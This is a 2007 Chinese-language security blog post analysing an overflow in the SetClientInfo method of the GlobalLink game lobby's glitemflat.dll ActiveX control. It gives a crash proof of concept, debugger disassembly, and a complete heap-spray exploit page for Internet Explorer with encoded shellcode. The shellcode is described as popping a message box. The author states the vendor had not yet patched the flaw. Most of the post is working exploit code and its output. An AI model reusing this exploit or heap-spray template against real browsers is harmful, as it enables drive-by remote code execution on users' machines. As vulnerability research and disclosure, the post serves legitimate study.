2007年9月6日星期四

[Exploit]GlobalLink glitemflat.dll SetClientInfo() 溢出分析

author: void#ph4nt0m.org
publish: 2007-09-06

Text Mode

影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)

未受影响版本:
联众还没补 :-)

简要分析:
先给出PoC代码:

<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
s
="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.SetClientInfo(
1, s, 1
</SCRIPT>

运行PoC后,用ollydbg捕获异常:为读取[41414145]无效地址访问异常,出问题的代码如下:
033D9315  |> \8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D931B  
|.  85C0          TEST EAX,EAX
033D931D  
|.  74 34         JE SHORT 033D9353
033D931F    
| .  FF70 04         PUSH DWORD PTR DS:[EAX +4]                   ;  /hWnd  <=== 异常处!
033D9322  
|.  FF15 F8523F03 CALL DWORD PTR DS:[<&USER32.IsWindow>]   ; \IsWindow

再看此时的寄存器情况:
EAX 41414141
ECX 
03442070
EDX 006900CD ASCII 
"ox"
EBX 
03442070
ESP 02B9FB2C
EBP 02B9FB48
ESI 03441FD0
EDI 0344210C
EIP 033D931F glitemfl.033D931F

EAX为"AAAA",看来我们可以控制EAX的值,但是到这里我们还没法控制指令流程走向,往下看:
033D9328  |.  85C0          TEST EAX,EAX    
033D932A  
| .  74 0F          JE SHORT 033D933B    ; eax为0,跳到0x033D933B
033D932C  
|.  8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D9332  
|.  FF70 04       PUSH DWORD PTR DS:[EAX+4]                ; /hWnd
033D9335  
|.  FF15 44533F03 CALL DWORD PTR DS:[<&USER32.DestroyWindo>; \DestroyWindow
033D933B  
|>   8B8E DC000000 MOV ECX,DWORD PTR DS:[ESI+DC]  ; ecx就是我们前面控制的eax的值
033D9341  
|.  85C9          TEST ECX,ECX
033D9343  
| .  74 07           JE SHORT  033D934C   ; 如果ECX不等于0,不跳
033D9345  
|.  8B01          MOV EAX,DWORD PTR DS:[ECX] 
033D9347  
|.  6A 01         PUSH 1            
033D9349  
| .  FF50 0C       CALL DWORD PTR DS:[EAX+C] ;  虚函数调用,可能控制
033D934C  
|>  83A6 DC000000>AND DWORD PTR DS:[ESI+DC],0
033D9353  
|>  8D86 40010000 LEA EAX,DWORD PTR DS:[ESI+140]

从上面的代码流程分析可以看出[ESI+DC]其实放的是一个对象指针,而且可被我们控制.
这个对象的结构大致为:
+00h vmt_ptr
+04h hWnd
+08h ...

要利用成功,必须使得放hWnd的地址可读,且读出的hWnd为无效的窗口句柄,就可控制流程到0x033D933B,然后使得vmt_ptr指向的地址偏移0x0C处的地址指向我们的shellcode,就OK了.

咋看起来,这些条件很难同时满足,但是别忘了我们是在IE里面,祭出heap spray大法,再覆盖对象指针指向0x0c0c0c0c.此时,hWnd为0x0c0c0c0c,基本为无效句柄,如果碰巧是窗口句柄,恭喜你,去买彩票吧;vmt_ptr也是这个值,vmt_ptr+0x0c还是这个值,最终call [eax+C]得到控制.

演示代码: (shellcode为弹出MessageBox, IE6sp2,IE7测试通过)
<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
document.write(
"<meta http-equiv=\"refresh\" content=\"1" + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u0eeb%u4b5b%uc933%ubfb1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe67%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%uc716%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufeda%ufefe%u96ac%u91d0%u998c%u9096%uce8a%u9693%u8edd%uca96%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u019c%u0101%u8acc%uf26f%u7187%u9e32%uf494%ue0c6%u3344%u4d2e%u3a4b%u968d%u929b%u9d92%u9a91%ufe9b"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide 
= getSpraySlide(spraySlide,spraySlideSize);
heapBlocks 
= (heapSprayToAddress - 0x100000)/heapBlockSize;
memory 
= new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] 
= spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    
while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide 
+= spraySlide;
    }
    spraySlide 
= spraySlide.substring(0,spraySlideSize/2);
    
return spraySlide;
}

s
="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x0c\x0c\x0c\x0c"
target.SetClientInfo(
1, s, 1
</SCRIPT>